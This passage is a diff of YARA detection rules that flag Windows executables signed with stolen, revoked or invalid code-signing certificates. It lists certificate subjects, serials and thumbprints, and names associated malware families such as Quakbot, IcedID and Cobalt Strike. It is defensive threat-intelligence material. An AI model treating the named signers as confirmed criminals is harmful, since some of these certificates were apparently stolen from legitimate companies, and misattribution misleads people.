-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "MALVINA RECRUITMENT LIMITED" and pe.signatures[i].serial=="7d:27:33:2c:3c:b3:a3:82:a4:fd:23:2c:5c:66:a2")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "REBROSE LEISURE LIMITED" and pe.signatures[i].serial=="76:74:36:92:1b:26:98:bd:18:40:0a:24:b0:13:41:b6")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_40F5660A90301E7A8A8C3B42 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_26B125E669E77A5E58Db378E9816Fbc3 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "c3c8fbdf-49ca-5898-b267-74256154973a"
+		id = "18985965-9e26-526c-9354-20667d472615"
 		date = "2023-12-08"
 		modified = "2023-12-08"
-		reference = "https://bazaar.abuse.ch/faq/#cscb"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8176-L8189"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L915-L926"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "ed584aa8ad833066ed9f7ddbf98dc75efe88e0b7e69f564a90eade63dc2aee2d"
+		logic_hash = "859793bfeba55c9912a1e18db86cd391d4c4981f4be11f3a53d887d429882671"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "2ac041e3c46c82fbcee34617ee31336e845e18efe6b9ae5c8811351db5b56da2"
-		reason = "Cobalt Strike"
+		thumbprint = "900aa9e6ff07c6528ecd71400e6404682e812017"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Booz Allen Hamilton Inc." and pe.signatures[i].serial=="40:f5:66:0a:90:30:1e:7a:8a:8c:3b:42")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "FLOWER DELI LTD" and pe.signatures[i].serial=="26:b1:25:e6:69:e7:7a:5e:58:db:37:8e:98:16:fb:c3")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_Dfc1F1B0F205Cc17Ed7D216Bb991F859 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_29A248A77D5D4066Fe5Da75F32102Bb5 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "93d5fd87-af92-5449-9d02-4666afa38fff"
+		id = "b71f4ee4-55d1-51c7-8fc3-1c6fcaa64a86"
 		date = "2023-12-08"
 		modified = "2023-12-08"
-		reference = "https://bazaar.abuse.ch/faq/#cscb"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8191-L8204"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L928-L939"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "24783267ab27f8102f724810322a7fbb010b7a2abf59ad206b96a3eb75968907"
+		logic_hash = "063a8b361e9fc91619912109427f6a0cbc7755e85dae820ea0f16709ac580ed1"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "b577362c1abcfb7d163b8702f23a6a3643c72ea0a3c8cf262092903a3110fa04"
-		reason = "PrivateLoader"
+		thumbprint = "1078c0ab5766a48b0d4e04e57f3ab65b68dd797f"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Astori LLC" and pe.signatures[i].serial=="df:c1:f1:b0:f2:05:cc:17:ed:7d:21:6b:b9:91:f8:59")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "SUN & STARZ LIMITED" and pe.signatures[i].serial=="29:a2:48:a7:7d:5d:40:66:fe:5d:a7:5f:32:10:2b:b5")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_E573D9C8B403C41Bd59Ffa0A8Efd4168 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_3A9Bdec10E00E780316Baaebfe7A772C : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "683ea9a6-2002-5c48-8512-51f65e70dd2c"
+		id = "0879b4f7-4058-5391-b8bf-90a46ef337f6"
 		date = "2023-12-08"
 		modified = "2023-12-08"
-		reference = "https://bazaar.abuse.ch/faq/#cscb"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8206-L8219"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L941-L952"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "ec53ab007d8be2f3cad45e787e724c5af0dd3f18c2b66a179b822bdeeb0d1560"
+		logic_hash = "f1c0d23c9aa2ff705e3350e15b7ff83fc007ce6aaa57c4ed59201f3022f5d00a"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "a9ab2be0ea677c6c6ed67b23cfee0fa44bfb346a4bb720f10a3f02a78b8f5c82"
-		reason = "Dridex"
+		thumbprint = "981b95ffcb259862e7461bc58516d7785de91a8a"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "VERONIKA 2\" OOO\"" and pe.signatures[i].serial=="e5:73:d9:c8:b4:03:c4:1b:d5:9f:fa:0a:8e:fd:41:68")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "PLAN ALPHA LIMITED" and pe.signatures[i].serial=="3a:9b:de:c1:0e:00:e7:80:31:6b:aa:eb:fe:7a:77:2c")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_2F38De4Ced0B070973B9E9B9B1Dcfa7F : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_73F9819F3A1A49Bac1E220D7F3E0009B : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "39910712-4a11-5722-9b48-c069bfcefb14"
+		id = "06f448cf-1f0e-5db5-bdb5-30238c5f7341"
 		date = "2023-12-08"
 		modified = "2023-12-08"
-		reference = "https://bazaar.abuse.ch/faq/#cscb"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8221-L8234"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L954-L965"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "84c3d89e8393bcaddea53326730d795f482ec65c574fde5c1c81f395178b591a"
+		logic_hash = "9244fae0be6c1addbd0c740d7e153fd4109101184bc61375ddadb6d784769010"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "71382f6c6e48df51f15606380cd6948bf37f044d18566ebc2d262fc87e70b9b1"
-		reason = "Gh0stRAT"
+		thumbprint = "bb04986cbd65f0994a544f197fbb26abf91228d9"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Fahad Malik" and pe.signatures[i].serial=="2f:38:de:4c:ed:0b:07:09:73:b9:e9:b9:b1:dc:fa:7f")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Jean Binquet" and pe.signatures[i].serial=="73:f9:81:9f:3a:1a:49:ba:c1:e2:20:d7:f3:e0:00:9b")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_53E1F226Cb77574F8Fbeb5682Da091Bb : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_0989C97804C93Ec0004E2843 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "6967042e-156b-541d-970c-491dece12f08"
+		id = "13b2dd06-878e-5539-91d1-eff8607997c3"
 		date = "2023-12-08"
 		modified = "2023-12-08"
-		reference = "https://bazaar.abuse.ch/faq/#cscb"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8236-L8249"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L967-L978"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "41f4902e9d02254efdfd19a73de16e1128b15d264c3ed128d5ec28bd92f2d8a4"
+		logic_hash = "65b695eed221db86928ebd32a1f3cb35729754ba41cb2e5b6cf944890d211120"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "d247ec7e224a24683da3f138112ffc9607f83c917d6c45494dd744d732249260"
-		reason = "SystemBC"
+		thumbprint = "98549ae51b7208bda60b7309b415d887c385864b"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "OdyLab Inc" and pe.signatures[i].serial=="53:e1:f2:26:cb:77:57:4f:8f:be:b5:68:2d:a0:91:bb")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Shanghai Hintsoft Co., Ltd." and pe.signatures[i].serial=="09:89:c9:78:04:c9:3e:c0:00:4e:28:43")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_Df2547B2Cab5689A81D61De80Eaaa3A2 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_6Ba32F984444Ea464Bea41D99A977Ea8 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "4eba17f8-df3c-552d-90b5-faef7b860203"
+		id = "6fee5b3f-f72e-531e-b11e-e402207072ff"
 		date = "2023-12-08"
 		modified = "2023-12-08"
-		reference = "https://bazaar.abuse.ch/faq/#cscb"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8251-L8264"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L980-L991"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "c32a6510bd3cfd09e84ccf36140eb405945059c981fb1888298501493f6ef68f"
+		logic_hash = "fcabdd038a2594dffddbfff71a7a8a1abae89c637355b3be7e5f26c1eb9e39c7"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "4c6e21a6e96ea6fae6c142c2d1c919f590d9bf4e5c6b0f3ec7f9b0a38f3ce45d"
-		reason = "IcedID"
+		thumbprint = "ae9e65e26275d014a4a8398569af5eeddf7a472c"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "FORWARD MUSIC AGENCY SRL" and pe.signatures[i].serial=="df:25:47:b2:ca:b5:68:9a:81:d6:1d:e8:0e:aa:a3:a2")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "JIN CONSULTANCY LIMITED" and pe.signatures[i].serial=="6b:a3:2f:98:44:44:ea:46:4b:ea:41:d9:9a:97:7e:a8")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_58Af00Ce542760Fc116B41Fa92E18589 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_4F5A9Bf75Da76B949645475473793A7D : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "62fd5f76-b890-5532-8c6f-e26942584899"
+		id = "094b56b9-15fc-5366-9023-c706613882c4"
 		date = "2023-12-08"
 		modified = "2023-12-08"
-		reference = "https://bazaar.abuse.ch/faq/#cscb"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8266-L8279"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L993-L1004"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "bcabd77b40ad9eae4c499c8cd4b3e3d39e5478fa590be536860375e890c1b62e"
+		logic_hash = "8f00efcd62a934fb6ec0205dc1d7bb7f7f3ab168150fee942536ef92f686d21d"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "620dafea381ab657e0335321ca5a95077f33021927a32d5d62bff7e33704f4b7"
-		reason = "Quakbot"
+		thumbprint = "f7de21bbdf5effb0f6739d505579907e9f812e6f"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "DICKIE MUSDALE WINDFARM LIMITED" and pe.signatures[i].serial=="58:af:00:ce:54:27:60:fc:11:6b:41:fa:92:e1:85:89")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "EXEC CONTROL LIMITED" and pe.signatures[i].serial=="4f:5a:9b:f7:5d:a7:6b:94:96:45:47:54:73:79:3a:7d")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_5B1F9Ec88D185631Ab032Dbfd5166C0D : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_68B050Aa3D2C16F77E14A16Dc8D1C1Ac : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "233466e6-7b5f-50d7-967a-976b698e9194"
+		id = "b49d3f1d-34b4-578e-ab36-b0744deef548"
 		date = "2023-12-08"
 		modified = "2023-12-08"
-		reference = "https://bazaar.abuse.ch/faq/#cscb"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8281-L8294"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1006-L1017"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "05428b4e636a60fb409ead0f4aeb25ed08dae24d58c98a17bb77aa521706763a"
+		logic_hash = "9de23897fbfe3c4a6d649558d1d71f890117ec80967bc5bd975aa6f33576c702"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "a46234c01e9f9904e500aefad4b5718d86aaec4e084b3d8ffbfe5724f8ddda45"
-		reason = "Quakbot"
+		thumbprint = "c757e09e7dc5859dbd00b0ccfdd006764c557a3d"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "TOPFLIGHT GROUP LIMITED" and pe.signatures[i].serial=="5b:1f:9e:c8:8d:18:56:31:ab:03:2d:bf:d5:16:6c:0d")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "SLOW POKE LTD" and pe.signatures[i].serial=="68:b0:50:aa:3d:2c:16:f7:7e:14:a1:6d:c8:d1:c1:ac")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_Ff52Eb011Bb748Fee75153Cbe1E50Dd6 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_0F2B44E398Ba76C5F57779C41548607B : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "452d9f84-a950-5503-adaf-fba95b45e798"
+		id = "6a962fd8-c2cd-5abd-8f80-95697771037c"
 		date = "2023-12-08"
 		modified = "2023-12-08"
-		reference = "https://bazaar.abuse.ch/faq/#cscb"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8296-L8309"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1019-L1030"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "e439f15c3312ed3a1840967bb165300a491ffe3d1c9c629abcbebf3efd9b1f50"
+		logic_hash = "172622595a3f6a6ab4ac2677c3064fab87b0a872c261031331c99cbd58671da2"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "c75025c80ab583a6ab87070e5b65c93cb59b48e0cbb5f99113e354a96f8fcd39"
-		reason = "Quakbot"
+		thumbprint = "cef53e9ca954d1383a8ece037925aa4de9268f3f"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "TASK ANNA LIMITED" and pe.signatures[i].serial=="ff:52:eb:01:1b:b7:48:fe:e7:51:53:cb:e1:e5:0d:d6")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "DIGITAL DR" and pe.signatures[i].serial=="0f:2b:44:e3:98:ba:76:c5:f5:77:79:c4:15:48:60:7b")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_Eda0F47B3B38E781Cdf6Ef6Be5D3F6Ee : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_5Ad4Ce116B131Daf8D784C6Fab2Ea1F1 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "4d845dd7-4153-5082-bff0-d5f9a7b4b46e"
+		id = "abb6c51b-987a-5a1f-9d31-1422b41a6a6d"
 		date = "2023-12-08"
 		modified = "2023-12-08"
-		reference = "https://bazaar.abuse.ch/faq/#cscb"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8311-L8324"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1032-L1043"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "7b53d30e5b6176eaae854bf4046339864225b417a147fe6f24fb51dfb0535911"
+		logic_hash = "3221ffd8203cbef8735ed48acd77daae6bee33ade236b1ff2ced81a0f27d4ce5"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "1ef38b7c430c09062f4408c47da14d814be5e2e99749e65a2cf097f5610024fc"
-		reason = "Matanbuchus"
+		thumbprint = "de2dad893fdd49d7c0d498c0260acfb272588a2b"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "ADVANCED ACCESS SERVICES LTD" and pe.signatures[i].serial=="ed:a0:f4:7b:3b:38:e7:81:cd:f6:ef:6b:e5:d3:f6:ee")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "ORDARA LTD" and pe.signatures[i].serial=="5a:d4:ce:11:6b:13:1d:af:8d:78:4c:6f:ab:2e:a1:f1")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_4728189Fa0F57793484Cdf764F5E283D : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_48Ce01Ac7E137F4313Cc5723Af817Da0 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "02ec531e-aa1b-50b8-ae32-d885a0185cfe"
+		id = "d5eb08a7-eb2b-5318-a941-da3ce0a6b634"
 		date = "2023-12-08"
 		modified = "2023-12-08"
-		reference = "https://bazaar.abuse.ch/faq/#cscb"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8326-L8339"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1045-L1056"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "181971946ee4d643430b733ed57ccf07c940205853c9e5102b08b7bc509bcc63"
+		logic_hash = "d92d4aa491b028620f17fd997a782f5e75247b2d3de7ef9026e2c62309275ce1"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "89ff94ac1c577eced3afc9a81689d30ca238a8472ad0f025f6bed57a98dbb273"
-		reason = "Quakbot"
+		thumbprint = "8f594f2e0665ffd656160aac235d8c490059a9cc"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Power Save Systems s.r.o." and pe.signatures[i].serial=="47:28:18:9f:a0:f5:77:93:48:4c:df:76:4f:5e:28:3d")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "ET HOMES LTD" and pe.signatures[i].serial=="48:ce:01:ac:7e:13:7f:43:13:cc:57:23:af:81:7d:a0")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_24E4A2B3Db6Be1007B9Ddc91995Bc0C8 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_C7E62986C36246C64B8C9F2348141570 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "47ca5986-3de8-56f2-a15d-ef588d8a9e03"
+		id = "44d75e1d-5d5b-5d6f-8f7b-d94cd3908ed7"
 		date = "2023-12-08"
 		modified = "2023-12-08"
-		reference = "https://bazaar.abuse.ch/faq/#cscb"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8341-L8354"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1058-L1069"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "71d1f8e9113170f410007b31c0d7316c537001b2a761f1e35d6bd2aa0b39f2d9"
+		logic_hash = "dfb669ad42ac16d954405dc243b9d81dd9a748a14044d1fce3b71b490c58c82e"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "005af6c8e9f06a2258c2df70785a5622c8d10d982fdc7f4dbe2f53af6e860359"
-		reason = "Quakbot"
+		thumbprint = "f779e06266802b395ef6d3dbfeb1cc6a0a2cfc47"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "FLY BETTER s.r.o." and pe.signatures[i].serial=="24:e4:a2:b3:db:6b:e1:00:7b:9d:dc:91:99:5b:c0:c8")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "LLC Mail.Ru" and pe.signatures[i].serial=="c7:e6:29:86:c3:62:46:c6:4b:8c:9f:23:48:14:15:70")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_0772B4D1D63233D2B8771997Bc8Da5C4 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00Ee663737D82Df09C7038A6A6693A8323 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "a05a2bc4-a4a3-5e86-9a1c-ed82de7786df"
+		id = "c6684a9f-ca92-53e9-9723-9d2437a16fc6"
 		date = "2023-12-08"
 		modified = "2023-12-08"
-		reference = "https://bazaar.abuse.ch/faq/#cscb"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8356-L8369"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1086-L1097"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "056fefbc03cff00a40ea9bb65893b92fcc15134c7cf7bf7dedf98f43b44bc03d"
+		logic_hash = "4057374b73ef13b6f101b939e11569cf010896097fd9322ab490c73d6808fa6f"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "c6a78692f2fda8908933fb3f1df68592eb5da129caafd33329d1b804006973f7"
-		reason = "IcedID"
+		thumbprint = "dc934afe82adbab8583e393568f81ab32c79aeea"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Maya logistika d.o.o." and pe.signatures[i].serial=="07:72:b4:d1:d6:32:33:d2:b8:77:19:97:bc:8d:a5:c4")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "KREACIJA d.o.o." and pe.signatures[i].serial=="00:ee:66:37:37:d8:2d:f0:9c:70:38:a6:a6:69:3a:83:23")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_1Deea179F5757Fe529043577762419Df : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_3D568325Dec56Abf48E72317675Cacb7 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "a6b9b9e4-0998-5f67-8c12-7628ba3a5a56"
+		id = "e958b9c4-2f1b-5b5d-8a44-7393204a6f41"
 		date = "2023-12-08"
 		modified = "2023-12-08"
-		reference = "https://bazaar.abuse.ch/faq/#cscb"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8371-L8384"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1099-L1110"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "b521363d1d38a4ed1b2b4126aec85ed6bffc23dc4e30f6f6c942e1fa96b0dd8d"
+		logic_hash = "a575c9989a3ee7824e8734940877ddb255b19070def460508f70d32f457411ac"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "9c4e87ccd6004a70115f8e654b8cc1a80d488876ff2e4e7db598303fa41b3fef"
-		reason = "Quakbot"
+		thumbprint = "e5b21024907c9115dafccc3d4f66982c7d5641bc"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "SPIRIT CONSULTING s. r. o." and pe.signatures[i].serial=="1d:ee:a1:79:f5:75:7f:e5:29:04:35:77:76:24:19:df")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Virtual Byte F-B-I" and pe.signatures[i].serial=="3d:56:83:25:de:c5:6a:bf:48:e7:23:17:67:5c:ac:b7")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_061A27A3A3771Bb440Fc16Cadf2675C4 : FILE
